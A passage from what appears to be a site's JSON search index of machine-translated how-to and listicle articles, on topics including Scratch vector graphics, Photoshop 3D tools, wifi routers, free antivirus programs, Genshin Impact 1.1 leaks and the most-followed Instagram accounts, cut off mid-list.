results panel, you will see the fonts that have the most similar format to the original. You just need to click Download next to each font to download. Note that the font that comes with the words \"$ Commercial \" is free and you will have to pay to use the font.\n  Left, \" $ Free \" means free, can download freely.\n  So, you know how to find and download fonts using images on Whatfontis.com website. In addition, Thuthuatphanmem.vn introduces you to a website with similar features: Myfonts.com. Operation on this website is not much different from Whatfontis.com so you can quickly get used and used.\nThis article is over, wish you success in practice!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZJ%2Bnnql6tbTRqKygoF2ptaZ5yKaYoJ1dory0wIyampytopbBprjY\n","link":"/post/how-to-find-the-font-through-the-image-most-accurately/","section":"post","tags":null,"title":"How to find the font through the image most accurately"},{"body":" Scratch is a visual programming language designed for anyone to be able to learn, from someone who programs for a living to a five-year-old who's only ever used a computer once before. A useful feature of Scratch is the importing,...\nPart 1of 2:\nImporting Vector Graphics  Log into Scratch or create an account. Scratch is located at scratch.mit.edu. You'll want to either log in or create an account. The buttons to do so will be located at the upper right quadrant of your screen, unless you are using a phone to access Scratch in which case you'll probably want to get a computer out.\n  Create a project with the button in the upper left quadrant. If you already have a project that you want to import into, then click the folder icon\u0026nbsp;in the upper right and choose 'see inside' on the project you want.\n  Add a sprite with the paintbrush icon in the bottom of the upper left quadrant or click the costumes button in the upper right quadrant after selecting a sprite in the upper part of the lower left quadrant.\n  If the sprite you have selected says 'bitmap mode', click the 'convert to vector' button.\n  Now, it's time to find the vector graphic you want. There are a few to be found on Google Images but they all appear as .png files- if the text readout beneath the image on Google or Bing images says .svg in it or perhaps '.sv...', try going to the file page and saving it as an svg.\n  Choose the folder icon by the editor, not the one in the lower left quadrant.\n  Find your .svg file on your computer and choose it and then choose 'open'.\n  The sprite should be imported and appear in the Scratch Editor. However, due to Scratch using an irregular svg format, some differences may occur in the file, for instance, some text may be missing, or a color may be a slightly different shade (for instance, dark green to slightly darker green).\n Part 2of 2:\nExporting Vector Graphics  Follow Part 1 but stop before Step 5.\n  Draw your vector graphic file.\n  Right-click the sprite preview icon. Then choose 'save sprite as...'\n  Save the file as your chosen file name.svg \n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbyzwIyapZ1lla29sL7TZq2em6Skv261zJqenqtdnrtuv8KrmK2bmGJ%2FcQ%3D%3D\n","link":"/post/how-to-import-and-export-vector-images-in-scratch-2-0/","section":"post","tags":null,"title":"How to Import and Export Vector Images in Scratch 2.0"},{"body":"Google Chrome browser now supports displaying pop-up notifications very nicely and easier to see than before. To turn on the notification feature on Google Chrome is very simple, Web pages that use Pop-up notifications, they will ask you right from the first visit. But for some reason that Google Chrome does not display Facebook notifications, what to do? In this article, Software Tips will guide you how to turn on the Facebook notification feature on Chrome.\n  Step 1: You proceed to open Facebook and select the Expand icon . Then, you choose Install to set the notifications.\n  Step 2: Next, you select the Notification card in the left hand column to view the content.\n  Step 3: You scroll down to see the notice on the browser. Which browser we open on Facebook will display a notification on that browser. You turn on notifications on the browser.\n  Step 4: After turning on the notification, select the Website options (the lock icon) and select the Notice as Allow . Once completed, restart your Chrome browser, Facebook will now display a pop-up notification for you.\n  This is our notification when there are messages, notifications, friends on Facebook.\n  In this article, Software Tips showed you how to turn on Facebook notifications on GoogleChrome. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mnZqblZe8sLeMp6atoZaesKLAyKilrGWZo3qktNGopJ4%3D\n","link":"/post/how-to-turn-on-facebook-notifications-in-chrome/","section":"post","tags":null,"title":"How to turn on Facebook notifications in Chrome"},{"body":" Guide to change Background beautiful, detailed and easy to learn How to open AI file without Adobe Illustrator 14 simple steps to create a snow effect for the photo Let's TipsMake.com refer to the article how to create 3D effects and animation below!\nCreate 3D objects from 2D images   Photoshop can create a series of basic 3D objects using 2D layers as a starting point. After creating the 3D object, you can move it in 3D, change the display settings, add light or merge other 3D layers.\nConvert 2D layers into 3D postcards (with 3D properties). If your original layer is a text layer, the transparency will be retained. Wrap 2D layers around 3D objects, such as cones, cubes or cylinders. Create 3D in grid form from grayscale technical information in 2D images. Simulation of metalworking techniques called repoussé by squeezing a 2D object in 3D space. Create a 3D volume from the HDR (Multi-frame) file, such as the Digital Imaging and Communications in Medicine (DICOM) file. Photoshop combines individual files into 3D objects that you can manipulate in 3D and observe from any angle. You can apply various 3D volume creation effects to optimize the display of other materials during the scanning process, such as bone or soft tissue.    See also: Instructions for separating photos from the background in Photoshop\nCreate 3D postcards Note: You can add 3D postcards to an existing 3D scene to create shading display surfaces and reflect other objects available in the scene.\n  1. Open a 2D image and select the layer you want to convert to a postcard.\n2. Select 3D \u0026gt; New 3D Postcard From Layer .\nLayer 2D is converted into 3D layer in the Layer panel. 2D layer content is applied as a material for both sides of postcards. The original 2D layer appears in the Layer panel as the Diffuse texture map for the 3D postcard object. 3D layer retains the original 2D image size. 3. (Optional) To add a 3D postcard as a plane surface to a 3D view, merge the new 3D layer with the existing 3D layer containing other 3D objects, then arrange if needed.\n4. To retain the new 3D content, export the 3D layer in 3D file format or save it in PSD format.\nCreate 3D shapes   Depending on the type of object you choose, 3D model results may contain one or more meshes. Spherical Panorama option maps the panoramic image inside the 3D sphere.\n1. Open a 2D image and select the layer you want to convert to 3D shape.\n2. Select 3D \u0026gt; New Shape From Layer and select a shape from the menu. The shape consists of single mesh objects such as donuts, spherical or conical shapes; as well as other grid-shaped objects like cones, cubes, cylinders, soda cans or wine bottles.\nNote: You can add a custom shape to the shape menu. The shape is a 3D Collada model file (.dae). To add a shape, place the Collada model file in the PresetsMeshes folder inside the Photoshop program folder.\nLayer 2D is converted into 3D layer in the Layer panel. The original 2D layer appears in the Layer panel as the Diffuse texture map. It can be used on one or more surfaces of new 3D objects. Other surfaces can be assigned a default Diffuse texture map with default color settings. See an overview of the 3D control panel. 3. (Optional) Use the Spherical Panorama option if you are using panoramic images as 2D inputs. This option converts a full 360 x 180 degree Panorama image into a 3D layer. When switching to 3D objects, you can draw Panorama areas that are often difficult to access, such as poles or straight-line positions.\nThe difference between Panorama and 360-degree photos The camera takes a 360-degree panoramic shot with a push of a button 4. Export 3D layer in 3D file format or save in PSD format to retain new 3D content.\nCreate 3D images in grid form   The New Mesh from Grayscale command converts the grayscale image into a depth map, which translates brightness values ​​to a surface of different depths. Brighter values ​​create floating areas on the surface, darker values ​​create lower areas. Photoshop then applies depth maps to one of four logical geometry to create 3D models.\n1. Open a 2D image and select one or more layers that you want to convert to 3D images in grid form.\n2. (Optional) Convert images to grayscale mode. Select Image \u0026gt; Mode \u0026gt; Grayscale or use Image \u0026gt; Adjustments \u0026gt; Black \u0026amp; White to fine-tune dark-level conversion.\nNote: If you use an RGB image as input when creating a grid, the green channel is used to create the depth map.\n3. (Optional) Perform gray image adjustment if necessary to limit the brightness value range.\n4. Select 3D \u0026gt; New Mesh From Grayscale , then select an option in the grid.\nPlane: Applying depth map data to a flat surface. Two-Sided Plane: Create two reflecting planes along the central axis and apply depth map data to both planes. Cylinder (Cylindrical): Applying depth map data out of the center of the vertical axis. Sphere (Spherical): Applying depth map data out of the central point. Photoshop creates a 3D layer in a new grid. It also creates Diffuse, Opacity and Planar Depth Map for 3D objects, using the original gray or color layer.\nYou can re-open Planar Depth Map as Smart Object (actually a file embedded in another file) any time you want and fix it. When saving it, the grid will be restored.\nNote: The Opacity texture map does not appear in the Layer palette, because that map uses the same texture file with the Diffuse map (the original 2D layer). When two texture maps move to the same file, the file will appear only once in the Layer panel.\nSee also: Photoshop shortcuts help you work faster (part 1)\nCreate 3D animation   Using timeline Photoshop Animation, you can create 3D effects to move 3D models through space and change the display over time. You can apply animation effects to any of the following attributes of the 3D layer:\n3D object or camera position. Use 3D position or camera tools to move 3D models or cameras over time. Photoshop can turn the frame between position or move the camera to create smooth motion effects. 3D display setting. Change render mode, with the ability to transform transformation between several render modes. For example, changing the Vertices mode to Wireframe over time to simulate the model structure. 3D section. Rotate a cross section to show a section that changes with time. Change the cross section setting between frames to highlight different model areas in animation. For high-quality animations, you can render each animation frame by using the Render for Final Output settings.\nPlease refer to the video on how to create 3D effects from images in Photoshop below:\nRefer to some more articles:\nThese great new features of Adobe Photoshop CC 2018 the Designer should not be missed 30 beautiful brushes for Photoshop - Download now for free Top 10 websites provide a free Photoshop brush Funny photo series in Photoshop battle of photo-making experts (Part 1) Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCq5yarJVigKV5xJ%2BdnpukqHqiusNmppuilZjBtHnIp2SpoJ%2BpvLS0zqk%3D\n","link":"/post/instructions-on-how-to-create-3d-effects-and-objects-in-photoshop/","section":"post","tags":null,"title":"Instructions on how to create 3D effects and objects in Photoshop"},{"body":"Yesterday (September 20, 2019), Apple officially released iOS 13. But after just one day of launch, this updated version has received a series of complaints from gamers, especially users. PUBG Mobile and Fortnite enthusiasts.\nAccording to PUBG Mobile and Fortnite gamers, the new touch operation on iOS 13 makes them unable to control the characters in their games well.\n  For both PUBG Mobile and Fortnite games, to control the character and perform operations, the player must use multiple gestures simultaneously on the touch screen. Specifically, to move the user character needs to hold two fingers on the screen and use the third finger for other functions. However, iOS 13 defines the three-finger tap gesture on the screen as an option to edit text details, causing the screen to be interrupted.\nTencent, the company behind PUBG Mobile, said it will work with Apple to resolve the issue and recommend that players should not update to the latest version of iOS. Meanwhile, Epic Games, the manufacturer of Fortnite has not made a statement yet.\nOn Twitter, the PUBG Mobile development team said that this situation does not occur with the iOS 13.1 beta. Therefore, users should wait until iOS 13.1 version released on 24/9 to update the new operating system version for iPhone.\nIn addition to conflicting touch operations with battle royale games, the iOS 13 update also has many other bugs, such as a security hole that allows hackers to bypass the screen to get information from the user's contacts.\nncG1vNJzZmismaXArq3KnmWcp51ktrC%2FjGpqZpuRqsCmsIyprJufXaK8o7XLnmSappRis7C%2B06egrZ1dqbxursRmoKeslae%2FtrzTnptmn5GisrO%2FjJ2mZqafqXqzwdKhZK2nXaq9pa3Tng%3D%3D\n","link":"/post/ios-13-caused-pubg-mobile-and-fortnite-to-be-interrupted-gamers-do-not-rush-to-update/","section":"post","tags":null,"title":"iOS 13 caused PUBG Mobile and Fortnite to be interrupted, gamers do not rush to update"},{"body":" How to use the old router to increase the coverage for Wi-Fi Weak WiFi waves, try doing this before you intend to replace the new Wi-Fi router set Summary of the best Wi-Fi Router devices Today the wifi transmitters become indispensable devices in every family, school, office . Undeniably the important role of the Internet today, it gradually becomes an urgent need on par with electricity, water we use every day. Today the Internet not only serves for work, study, and entertainment, but also plays an important role in communication at anytime, anywhere. One of the factors to determine whether wifi can be used stably or not, we need to have wifi modems, wifi transmitter is an extremely important device. However, there are a lot of these devices on the market today, and users don't have to know to choose a good wifi transmitter, which is suitable to their needs and costs.\nSo, in the article below, Network Administrator will give you some suggestions about the best wifi modems available for you to consult.\nWifi modem or Wifi transmitter is also called router, modem. These devices work to take Internet signals into electromagnetic waves, transfer wireless signals to other mobile devices such as laptops and phones. In the era of strong technology development, compact mobile devices, laptops are increasingly popular, having a wifi device is essential. Not only with mobile devices, smart household appliances such as washing machines, refrigerators, air conditioners can also be controlled remotely via wifi. The above reasons, wifi transmitters are becoming more and more popular and gradually become indispensable in households or businesses.\n1. Device TP-Link TL-WR841N   This is probably a cheap, widely used and very popular wifi device in Vietnam market. With a price of less than 500 thousand VND, TL-WR841N is still provided with full WEP, WPA, WPA2 encryption and the maximum Wi-Fi capability of 300 Mbps.\nTL-WR841N is designed with 2 easy-to-compact antennas. With such a low price, you should not wait too much on the ability to broadcast wide coverage like other high-end devices. TL-WR841N is only suitable for families or students whose room area is not too wide. In addition, TL-WR841N is not integrated with modem, it only has wifi transmitter. If you are using ADSL network infrastructure and there are not too many strict requirements for wifi quality, you can choose this device for your home wifi network with extremely good prices.\n2. Tenda W308R device   Like TP-Link TL-WR841N, Tenda is also one of the most popular wifi devices used by low cost. Although the price is low, but Tenda W308R is still fully equipped with basic features for a wifi transmitter.\nThese wifi modems only work smoothly when your family uses less devices, not much important for Internet speed and not wide coverage.\nThe next downside of these wifi transmitters is that there are security holes, so when you use it, you should pay attention to regularly check and set up enough passwords to ensure safety when using.\n3. TP-LINK TL-WR940N device   The 940N is a compact and light-weight router, operating on 2.4GHz band. The data transfer rate of the device reaches a maximum of 300Mbps. The 940N is equipped with 3 antennas that can be navigated to suit the indoor layout to provide the best broadcast performance for users. This is the ideal device to use for households with large houses or high floors.\nIn addition, thanks to WPS support, you can easily connect new devices to this router without having to log in manually. Just press the WPS button on the router and connect mobile devices like smartphones directly from the instructions. In case you need to extend the Wi-Fi coverage of the router, you can use another router device in conjunction with the 940N, and connect it quickly with just a WPS button, turning the additional router into a repeater device. .\n4. D-Link DIR-619L device   Next is a product from D-Link. This product is priced from 1-2 million VND, D-Link DIR-619L is a standard N wireless router and integrates 4 LAN ports for wired connection, meeting the demand for high-speed data transmission. go online or watch HD movies online at home or a small office.\nAccording to the manufacturer's information, DIR-619L supports a maximum speed of up to 300Mbps when operating at 2.4GHz.\nThe DIR-619L's design looks simple with a hard plastic exterior, incorporating the indicators shown on the top, along with three high-performance Wi-Fi antennas.\n5. TP-Link Archer C7 device   Next is a representative from the TP-Link family, but at a higher level with prices ranging from 1-2 million dong and wifi support capability of 802.11 ac with a transfer rate of 3 times faster than with N standard. The device's wireless transfer rate reaches 1.3Gbps via 5GHz frequency, giving users high-speed Internet signal with HD quality.\nThe TP-Link Archer C7 is also designed with 1 Gigabit WAN port and 4 Gigabit LAN ports that allow up to 4 times faster transfer speeds than standard Ethernet. Besides, the TP-Link Archer C7 also has 2 USB ports that support sharing, transferring high-speed data onto the FTP server system. Especially this device also has the ability to self-fix security holes, ensuring safety for your device.\nWith these outstanding features, the TP-Link Archer C7 is indeed a product \"worth the money\".\n6. Linksys EA4500 device   The EA4500 is one of Linksys' quite luxurious wireless routers. This is one of the highest-end routers on Linksys market and it deserves the title, high speed, many advanced features and possesses its own characteristics that do not appear on the company's products. other.\nDespite being a high-end product, the Linksys EA4500 also carries all the features of the TP-Link Archer C7, but it has added Speed ​​Boost technology to maintain high speeds over large distances. throughout the physical transmission range without fear of being blocked by obstacles. With such great speed, this is a product that will be more suitable for larger businesses than households. However, with a high price, many people will hesitate when choosing products.\n7. D-Link DIR-890L device   D-Link DIR-890L is rated as one of the most eye-catching wireless routers on the market, with the same style as a spaceship, far from conventional products on the market.\nThe router is equipped with 1GHz Broadcom CPU with 2 cores and three frequency bands with theoretical speeds of up to 3200 Mbps - 1300 Mbps for 2 5GHz bands and 600 Mbps for 2.4GHz band. This led to the product having up to 6 navigable antennas, which provided a focal point for the pit design but unfortunately they were not removable for replacement.\nFor the basic needs of large households, businesses, cafes, restaurants . D-Link 890L has the ability to meet. The strongest point of this router is the stable signal broadcast. Besides, when this router works in a complex wave environment, the device always allows instant connection and absolutely no loss of mid-wave.\n8. Linksys EA9500 device   The Linksys EA9500 is the most powerful residential Wi-Fi device with dual-core processor up to 1.4 GHz, 256 MB RAM can simultaneously process signals and provide Internet for 90 parallel devices at the same time. . Linksys EA9500 is equipped with 8 antennas for ultra-wide coverage. The Linksys EA9500 is no less competitive than other devices in the same segment because it can play 3 bands at the same time for maximum transmission speed. With 8 Gigabit LAN ports, you can comfortably connect to many other devices without worrying about speed. Along with the high price of the Linksys EA9500 high-end segment, it is only suitable for businesses or families with comprehensive smart electronic devices.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdrLantYytqZqmo6K2tcDEq2SwoZaeeq67w56kZq%2Bfp8GpecGusKKml2KzsL6Msqau\n","link":"/post/the-best-wifi-transmitter-wifi-modem-worth-buying-for-you/","section":"post","tags":null,"title":"The best wifi transmitter, wifi modem, worth buying for you"},{"body":"In the winter, while all trees are wilting, only pine is evergreen. Therefore, on Christmas day, people often use pine trees as a tree decorated by the immortal meaning and prosperous symbol as Tet in Vietnam often hang apricot and peach trees to ward off demons.\n  Invite you to admire the photos of the Christmas tree - a tree symbolizing longevity, prosperity for Christmas.\n  Beautiful pine tree photos for Christmas\n  Beautiful pine tree photos for christmas season\n  Beautiful pine tree images for christmas holidays\n  Christmas tree photo beautiful wall stickers\n  Christmas tree photos most beautiful\n  Photo of beautiful Christmas tree in the house\n  Beautiful and strange Christmas tree photos\n  Photo of Christmas tree decorated in the house\n  Photo of Christmas tree in the house\n  Christmas tree photo\n  Photo of beautiful pine tree decorated for christmas season\n  Beautiful photos of Christmas tree in the house\n  The best picture about Christmas tree\n  Nice picture about Christmas tree\n  The most beautiful Christmas tree background image\n  Beautiful decorative picture of Christmas tree\n  Pictures of beautiful pine trees on the table\n  Pictures of beautiful pine trees in the living room\n  Christmas tree image at the table\n  Cute christmas tree image\n  Beautiful black christmas tree image\n  The most beautiful Christmas tree in the world\n  The most beautiful Christmas tree image\n  Beautiful Christmas tree image\n  Giant christmas tree image\n  Sparkling Christmas tree image\n  The most beautiful pink Christmas tree\n  Beautiful mini Christmas tree image\n  Images of outdoor Christmas trees\n  Beautiful artificial christmas tree image\n  Images of colorful Christmas trees\n  Beautiful white Christmas tree\n  Beautifully decorated Christmas tree\n  Image of decorated Christmas tree\n  Christmas tree image in the night\n  Images of Christmas trees in the house\n  Christmas tree image in the snow\n  Christmas tree image\n  Decorative pine tree image\n  Beautiful pictures of outdoor Christmas trees\n  Pictures of colorful Christmas trees\n  Beautiful Christmas tree decoration image\n  Christmas tree decoration pictures\n  Pictures of the most beautiful Christmas tree\n  Pictures of beautiful Christmas trees\n  The most beautiful Christmas tree photos\n  Beautiful photos of Christmas tree\n  The best photos of Christmas tree\n  Beautiful pictures of Christmas tree\n  Beautiful pictures of Christmas tree\n  The most beautiful Christmas tree\n  Beautiful Christmas trees\n  Beautifully decorated Christmas trees\n  The beautiful Christmas tree images\nIn addition to candles, hymns and images of Santa Claus giving out presents in the street, the Christmas tree is an indispensable image for a complete Christmas season. With the most beautiful Christmas tree images in the article, readers can refer to the ways of decorating pine trees to decorate their own beautiful pine trees or bring pine tree images to your computer or phone. to be wallpaper. Wish you enjoy the happy and warm Christmas holiday with family and friends! If you find the article useful, please leave your comments and reviews and comments about the article!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7KiwdOina6kXZi1s7XSraSaq12pv6axjKKkmp%2BVqA%3D%3D\n","link":"/post/the-most-beautiful-christmas-tree-images/","section":"post","tags":null,"title":"The most beautiful Christmas tree images"},{"body":"Most computer users know that they need an antivirus program to protect the computer against modern web threats. While there are many free antivirus software, many are free by constantly asking people to upgrade to a paid version or installing some unnecessary browser extensions.\nTo end this issue, this article will introduce some free antivirus software, no bloatware and requires a paid update.\n1. Windows Defender Let's start with the default antivirus program in Windows 10. Windows Defender has had some problems during the 'infancy' phase, but it has become a solid antivirus program with some outstanding advantages. One of the biggest reasons to use Windows Defender is that it does not require upgrading the paid version. Windows Defender just sits quietly in Windows 10 and does its job, warning users when there are problems. In addition, Windows Defender updates via Windows Update.\n  2. Sophos Home Sophos is not one of the biggest names in antivirus software, but it is still an excellent competitor. Users will have to register for an account before downloading this antivirus software but it is only a minor inconvenience for a free anti-virus tool. The installer is quite large, so it may take several minutes to install.\n  Sophos's interface is very simple with only a single table and no ads. Users click Manage My Security to open Sophos website and login to manage antivirus programs. Open the Configure tab to be able to set up basic web filters for computers, block or alert categories like gambling, violence and alcohol.\n  Download : Sophos Home\n3. Immunet The ClamAV open source antivirus has been around for a while on Linux and developers have moved it to other platforms. Standard Windows clients have not seen updates for more than a year. However, ClamAV recommends that users try Immunet, a full antivirus program published by Cisco and provided by ClamAV tool.\n10 things to know about open source software   Immunet has no paid version, so no upgrade or bloatware is required. What makes this antivirus software unique is that it is community based. If the application detects an infection on the system, it will automatically prevent it.\nDownload: Immunet\n4. Bitdefender Antivirus Free Bitdefender is another friendly antivirus software, it doesn't have many options to confuse users and like any other antivirus tool, it just \"sits quietly\" in the background and protects your computer. . After installation, Bitdefender will ask users to log in to an account to use the program.\n  Once Bitdefender is enabled, click the gear icon at the top of the window and select Account info . Disable Display notifications option with special offers to prevent ads for the paid version. Then you do not need to open this panel again.\n  Download: Bitdefender Antivirus Free\n5. Panda Free Antivirus Panda is a powerful third-party antivirus software. It provides some \"special offers\" during the installation process and users must disable ads.\nWhen installing, be sure to uncheck the three boxes to avoid installing Panda's useless browser extension and change the homepage and search provider. Panda will require an email address to create an account on startup, but users can close it when the application works well.\n  Open the application and click the Menu icon in the upper left corner of the window, select Settings and scroll down to the bottom of the General tab. Uncheck Show Panda news and Show relevant security news .\n  Now Panda will \"keep quiet\" until it finds out the problem. And this is a virus removal program in the cloud so the application is relatively light.\nDownload: Panda Free Antivirus\n6. Honorable Mention: Avira Avira is one of three \"major antivirus tool vendors\" (along with Avast and AVG) and is said to be the least annoying. As long as the user avoids installing additional junk, this is considered a relatively light antivirus program. However, some users have reported that Avira occasionally displays a promotion of its premium products. Therefore this antivirus software is not included in the list above but is still mentioned here in case you do not like any of the above solutions.\nWhen accessing Avira's download page, make sure to download Free Antivirus that is not Free Security Suite .\n  When installing Avira, avoiding setting up nonsense settings, do not click Install for free on any additional features like Avira Safe Shopping and Avira System Speedup. Users can click Skip all at the top right and wait for Avira to complete the installation process.\nIf you want to find out about Avira's settings click the Settings button at the bottom left of the program window, select General then turn off Acoustic alerts and Warnings if you want. However this is a notice for practical issues.\n  Download: Avira Free Antivirus\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJ%2Bpnp1dlru1tdWiqa6rXai8p8DWmqmeZZ6keqO4zpqrsJmimnqiusNmqZ6ppZ6%2Fpr%2BMrqegqpGZsm7Azmadq52VYrynecOiqq2qkZjBqrvNrA%3D%3D\n","link":"/post/top-free-antivirus-software-no-bloatware-and-requires-upgrade-to-free-of-distractions/","section":"post","tags":null,"title":"Top free antivirus software, no bloatware and requires upgrade to free of distractions"},{"body":"The 1.1 test was finalized around mid-September. A Reddit user revealed some interesting information from Chinese publisher Mihoyo about the new features and characters that will appear in this version.\nIf the leak information on the network is correct, then Genshin Impact will bring many new and interesting surprises in version 1.1.\n  What's in Genshin Impact 1.1? The biggest change is with the game's gacha system, in which the gacha percentage won't be made public anymore. Coverage will be changed to 10 times guarantee for a 4 star Bonding Fate and a 4 star weapon. 50 times the gacha will guarantee a 5 star Bonding Fate and a 5 star weapon.\nPlayers can use Bonding Fate to double the number of stars. However, Bonding Fate is only used for certain characters' banners and will expire if the banner rate ends.\nThe player doesn't need to worry either, as the team of Genshin Impact will compensate the entire Bonding Fate corresponding to the number of times you've shot the gacha in 1.0.\n  Some other changes will be updated in version 1.1, especially the 8-player co-op mechanism and other side quests.\nGenshin's main quest will be updated according to the Teyvat world storyline, for players who have reached the 32nd Adventure Rank.\nThere are a number of other small changes are also updated, such as notification when friends online, can receive Pure Plastic daily, updated private chat feature, open limit of 60 fps for Android platform.\n  In addition, a new city called Inazuma will appear in 1.1, inspired by Japan.\nNew character in Genshin Impact 1.1 Zhong Li a new Lava-type character will appear in the 1.1 version, although he appeared as an NPC but in the next version, Zhong Li will officially become a 5-star playable character.\n  Xinyan This is also a new 4-star character of the fire system, although there is very little information about this character. Based on the lute in Xinyan's hand, maybe she would use a magician-type weapon.\n  Diona This is an ice-type character with a super cute \"lolita\" look, belonging to a 4-star character.\n  Childe another 5-star character will also appear in version 1.1, according to a leak, Childe is a spear-type character.\n  Hidden Characters Currently, there is not much information about this mysterious character. However, this character is obtainable if the player reaches Level 42 Adventure Class and completes the main storyline. There is a high possibility that this character will be related to Inazuma - a country with a cultural style similar to Japan. Based on the character's kanji name, it is possible that her name is Kamizato Ayaka.\nDainsleif This character just debuted a few days ago on the official Twitter page of Genshin Impact. While not confirmed to launch in version 1.1, Dainsleif still has a high chance of being updated by the end of the version, or if not the next one.\n  Of course, there's no way to confirm any leak about the 1.1 release of Genshin Impact. Even so, there are still a lot of features and changes that are highly likely to be updated because of a shortage in 1.0.\nThe characters are highly likely to appear in the update, so players can temporarily trust the information about these new characters to prepare gacha resources.\n  Currently, you can play Genshin Impact on platforms like PC, Playstation 4, Android or IOS. If you have become a Traveler since version 1.0, you will need a higher adventure level than level 20 to experience the new features in the game in 1.1 and the next version.\ngenshin impact game genshin impact ncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkoqZdnLKvv8eipWahnaWupMCMamg%3D\n","link":"/post/what-s-in-genshin-impact-1-1/","section":"post","tags":null,"title":"What's in Genshin Impact 1.1?"},{"body":"Instagram world is being 'ruled' by musicians, singers, actors, reality TV stars and football players. There are not too many disturbances in the list of the most watched Instagram accounts of 2018 compared to 2017, so who are they? Invite you to find out immediately:\n50. Gal Gadot\n  \nThe star of blockbuster \"Wonder Woman\", owns an Instagram account of @gal_gadot and has 27.1 million followers.\n49. Ed Sheeran\n  \nBritish singer, songwriter, owner of the 'shape of you' song and nickname @teddysphotos on Instagram, currently has 27.2 million followers.\n48. Robert Downey Jr.\n  \n\"Ironman\" and \"Avengers\" stars own @robertdowneyjr accounts and have 27.3 million followers.\n47. Leonardo DiCaprio\n  \nThis talented movie actor and producer has 28 million people following his @leonardodicaprio account on Instagram.\n46. ​​Snoop Dogg\n  \nThe rapper and the music producer who owns the @snoopdogg account has 28.6 million followers on Instagram.\n45. Louis Vuitton Official\n  \nLuxury brand LV currently has 29 million followers with @louisvuitton account. This is one of our two top 50 brands.\n44. Vanessa Hudgens\n  \nAmerican singer and actor currently uses the nickname @vanessahudgens and has 31.6 million followers.\n43. Lady Gaga\n  \nThe star of \"A Star is Born\" has 31.7 million people following on their @ladygaga Instagram account.\n42. Anitta\n  \nBrazilian singer is using @anitta account and has 33.1 million followers.\n41. Bruna Marquezine\n  \nBrazilian actress, with the nickname Instagram is @brumarquezine, currently has 33.7 million followers.\n40. Marcelo Vieira Jr\n  \nBrazilian football star, playing for Spain's Real Madrid club, currently has 34.5 million people following his @marcelotwelve account.\n39. Zlatan Ibrahimović\n  \nSwedish football star, owner of the @iamzlatanibrahimovic account on Instagram currently has 35.9 million followers.\n38. Zac Efron\n  \nThe 'sexy' actor of \"Baywatch\" is currently using an @zacefron account on Instagram and has 37 million followers.\n37. Gareth Bale\n  \nWelsh soccer star, who is also playing for Spain's Real Madrid club, has 38.1 million people following his Instagram account, @ garethbale11.\n36. Shawn Mendes\n  \nCanadian singer-songwriter - and former Vine star - currently has 39.1 million followers of his @shawnmendes Instagram account.\n35 James Rodríguez\n  \nAnother football star - James Rodríguez from Colombia, currently plays for German club Bayern Munich and owns Instagram @ jamesrodriguez10 account with over 40.8 million followers.\n34. Cara Delevingne\n  \nBritish models and actors currently using Instagram account @caradelevingne have 41.4 million followers.\n33. LeBron James\n  \nThe American professional basketball player, currently playing for the LA Lakers, has 46.2 million people following his Instagram account @kingjames.\n32. 9GAG\n  \nThe account of the famous meme website - @ 9gag on Instagram currently has 49 million followers.\n31. Chris Brown\n  \nThis famous American rapper is using a @chrisbrownofficial account, with 49.2 million followers.\n30. Emma Watson\n  \nThe British actress, the star of the \"Harry Potter\" blockbuster series, currently has 49.5 million people following her Instagram account, @emmawatson.\n29. Vin Diesel\n  \nThe \"Fast and Furious\" star is currently using the @vind Diesel nickname and has 51.5 million followers on Instagram.\n28. Drake\n  \nCanadian rapper, producer and actor with @champagnepapi account on Instagram, currently has 52.6 million followers.\n27. David Beckham\n  \nFormer British professional footballer currently owns @davidbeckham Instagram account with 53.1 million followers.\n26. Justin Timberlake\n  \nPopular American singer-actor currently uses Instagram @justintimberlake account and has 53.2 million followers.\n25. Zendaya\n  \nThis singer and actor currently has 53.8 million followers on his @zendaya Instagram account.\n24. Shakira\n  \nColombian singer-songwriter - owner of the hit Worldcup hits is currently using Instagram as @shakira and has 55.8 million followers worldwide.\n23. Ellen DeGeneres\n  \nAmerican TV and comedian presenter currently has 63.2 million followers on Instagram @theellenshow account.\n22. Rihanna\n  \nThe American pop princess, and a young businessman, is using an @badgalriri account on Instagram and has 66.6 million followers.\n21. Kevin Hart\n  \nFamous comedian has 67.2 million followers on Instagram with the nickname @ kevinhart4real.\n20. Demi Lovato\n  \nAmerican singer and songwriter and actor are using @ddlovato accounts on Instagram and own 70.8 million followers.\n19. Kourtney Kardashian\n  \nThe reality star has 71.6 million followers on his Instagram account @kourtneykardash.\n18. Katy Perry\n  \nSinger born in 1984 is currently using Instagram account @katyperry and has 74.5 million followers.\n17. Miley Cyrus\n  \nDisney Princess uses the Instagram account @mileycyrus and has 78.6 million followers.\n16. Nike\n  \nBeside Louis Vuitton, Nike sports clothing brand is the second name that represents the popular fashion brands appearing in our top 50, with @nike account and 83.5 million followers.\n15. Jennifer Lopez\n  \nFemale singers, dancers and famous actors currently own the Instagram account @jlo with 84.2 million followers.\n14. Khloe Kardashian\n  \nActual female star and American businessman currently has 84.5 million followers on his @khloekardashian Instagram account.\n13. Nicki Minaj\n  \nThe female rapper currently has 97 million people following her @ Instagram account.\n12. Kendall Jenner\n  \nThe reality TV star and model have 101 million followers on their @kendalljenner Instagram account.\n11. Justin Bieber\n  \nCanadian singers and musicians currently use Instagram @justinbieber accounts with 103 million followers.\n10. Lionel Messi\n  \nArgentine football star, who plays for Spanish club FC Barcelona, ​​now has 105 million followers on his Instagram account, @leomessi.\n9. Neymar\n  \nBrazilian football star, playing for French club Paris Saint-Germain, owns 108 million followers on his @neymarjr Instagram account.\n8. Taylor Swift\n  The famous American singer and songwriter now uses the account @taylorswift with 113 million followers.\n7. Beyoncé\n  \nThe singer and actress born in 1981 now has 122 million people following her @beyonce Instagram account.\n6. Kylie Jenner\n  \nThe reality TV star and American businessman now have 122 million followers on Instagram (@kyliejenner).\n5. Kim Kardashian West\n  \nAnother reality TV star and other businessmen achieved high rankings in our list: @kimkardashian with 123 million followers.\n4. Dwayne 